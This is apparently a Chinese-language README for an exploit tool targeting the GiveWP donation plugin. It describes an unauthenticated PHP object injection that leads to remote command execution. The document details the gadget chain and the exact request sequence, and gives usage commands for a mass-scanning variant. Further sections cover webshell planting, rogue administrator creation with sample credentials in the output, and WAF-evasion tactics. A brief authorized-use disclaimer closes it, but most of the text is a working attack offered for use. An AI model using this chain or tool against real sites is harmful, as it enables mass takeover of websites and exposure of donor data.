
GiveWP <= 4.16.7.1 未认证 PHP 对象注入 → 远程代码执行(RCE)
作者: Rx019
CVSS: 10.0(严重)
类型: 未认证 PHP 对象注入 → 远程代码执行
插件: GiveWP (give) — 捐赠插件与筹款平台
受影响版本: <= 4.16.7.1
已修复版本: 4.16.8
GiveWP 将捐赠者的 last_name 未经清理地存储在 PHP 会话中。当提交捐赠时未包含 give_last 字段,GiveWP 会直接将数据库中的原始值反序列化到会话中。这使得未认证攻击者能够通过捐赠者资料端点将 PHP 序列化对象注入 last_name,然后通过提交精心构造的捐赠来触发反序列化——从而利用 GiveWP 捆绑的供应商库中预先构建的 POP 链实现任意命令执行。
TCPDF::__destruct()
└─ Session::getBag() ← 调用由 $attributeName 命名的方法
└─ DonationFactory::__call()
└─ system($command) ← $command 来自 $attributeName
使用的供应商类:
| 类 | 文件 |
|---|---|
TCPDF | vendor/tecnickcom/tcpdf/tcpdf.php |
Give\Vendors\Symfony\...\Session | vendor/symfony/http-foundation/Session/Session.php |
Give\TestData\Factories\DonationFactory | src/TestData/Factories/DonationFactory.php |
1. 注册为捐赠者 → 已认证会话(wp-login cookie)
2. POST /wp-admin/profile.php
last_name = 嵌入 system() 命令的序列化 TCPDF 链
3. POST /wp-admin/admin-ajax.php
action=give_process_donation (省略 give_last 字段)
→ GiveWP 从数据库读取 last_name,将原始对象写入会话
4. GET /?p={form_id}
→ PHP 会话销毁触发 TCPDF::__destruct()
→ POP 链执行 system(command)
5. 确认 shell / 管理员创建成功
pip install requests rich
Python >= 3.9
| 文件 | 描述 |
|---|---|
CVE-2026-82222.py | 单目标 PoC — 详细的逐步输出 |
CVE-2026-82222-MASS.py | 批量扫描器 — 多线程批量模式 |
python CVE-2026-82222.py
交互式提示:
目标 URL: https://victim.com
或直接指定:
python CVE-2026-82222.py https://victim.com
# 从文件批量扫描
python CVE-2026-82222-MASS.py -f targets.txt
# 自定义线程数
python CVE-2026-82222-MASS.py -f targets.txt -t 10
# 内联多个目标
python CVE-2026-82222-MASS.py https://site1.com https://site2.com
# 交互式菜单
python CVE-2026-82222-MASS.py
批量文件格式:
# 以 # 开头的行将被忽略
https://target1.com
https://target2.com
target3.com # 协议自动补全为 https://
http://target4.com
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│ │
│ PWNED (shell + direct) https://victim.com │
│ Version : 4.15.0 │
│ WAF : Wordfence │
│ Shell : https://victim.com/wp-content/uploads/... │
│ Method : shell + direct (no .php write needed) │
│ Admin : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│ │
╰────────────────────────────────────────────────────────╯
Vulnerable : 12 Partial : 3 Patched : 44 Not Vuln : 21 Errors : 2 Total : 82
结果保存至 ~/Documents/CVE/CVE-2026-82222/:
| 文件 | 内容 |
|---|---|
CVE-2026-82222_YYYYMMDD_HHMMSS.txt | 单次运行结果 |
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txt | 完整批量结果 |
success_results.txt | 追加的 VULN/PARTIAL 行 |
该利用工具按顺序尝试两条主要路径:
wp_create_user() PHP 代码以 base64 形式注入 TCPDF 链当路径 A 失败或无法验证管理员登录时使用。
last_namegive_last 的捐赠)/?p={form_id})id | tee 信标写入 uploads 目录下的 .txt 文件如果 shell 已确认但尚无管理员,则通过 WebShell 的 ?c= 参数使用 wp_create_user() 创建管理员。
| WAF | 策略 |
|---|---|
| Imunify360 | 剥离 X-Forwarded-For / X-Real-IP 伪造头 |
| Wordfence | 从池中轮换 User-Agent |
| Cloudflare | 设置 Accept-Encoding: gzip, deflate, br |
wp-config.php 中的 DISALLOW_FILE_EDIT 会阻止插件/主题编辑器向量 — 脚本会提前检测到这一点并转入路径 BRx{100-999}.php — 每次运行随机生成此工具仅用于授权的安全测试和研究目的。
仅可针对您拥有或已获得明确书面许可的系统使用。
未经授权的使用是非法且不道德的。